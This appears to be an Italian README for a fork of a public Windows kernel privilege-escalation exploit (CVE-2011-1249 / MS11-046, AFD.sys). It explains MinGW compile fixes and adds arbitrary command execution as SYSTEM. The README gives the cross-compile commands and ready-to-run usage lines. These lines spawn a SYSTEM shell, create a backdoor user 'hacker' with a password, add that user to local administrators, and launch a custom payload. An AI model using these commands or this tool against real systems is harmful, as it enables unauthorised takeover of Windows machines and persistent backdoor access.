
CVE-2011-1249 (MS11-046) AFD escalation dei privilegi — correzione cross-compilazione MinGW + supporto comandi personalizzati
CVE-2011-1249 / MS11-046 — elevazione dei privilegi di AFD.sys per Windows x86.
Exploit originale di Tomislav Paskalev (EDB-40564). Questo fork corregge errori di cross-compilazione MinGW e aggiunge l'esecuzione di comandi personalizzati tramite argv[1].
| # | Modifica | Motivo |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → puntatore a funzione tipizzato (pZwQuerySystemInformation) | Il controllo rigoroso dei tipi di MinGW rifiuta di chiamare un FARPROC a zero parametri con argomenti — la compilazione fallisce con too many arguments to function |
| 2 | array securityPatches[] marcati static | Gli array dichiarati all'interno di blocchi if/else vengono allocati nello stack e escono dallo scope; senza static i puntatori diventano pendenti |
| 3 | Comando personalizzato tramite argv[1] | Esegui qualsiasi comando come SYSTEM invece del cmd.exe hardcodato |
La compilazione dell'originale con MinGW fallisce:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC è un puntatore a funzione generico dichiarato con zero parametri. MinGW impone un controllo rigoroso dei tipi e rifiuta di chiamarlo con argomenti. La correzione è un puntatore a funzione tipizzato con la firma corretta.
Esistono binari precompilati (es. SecWiki/windows-kernel-exploits) ma non supportano comandi personalizzati.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: avvia cmd.exe come SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # aggiunge un utente come SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # aggiunge agli amministratori locali
ms11-046.exe "c:\windows\temp\shell.exe" # esegue un payload personalizzato come SYSTEM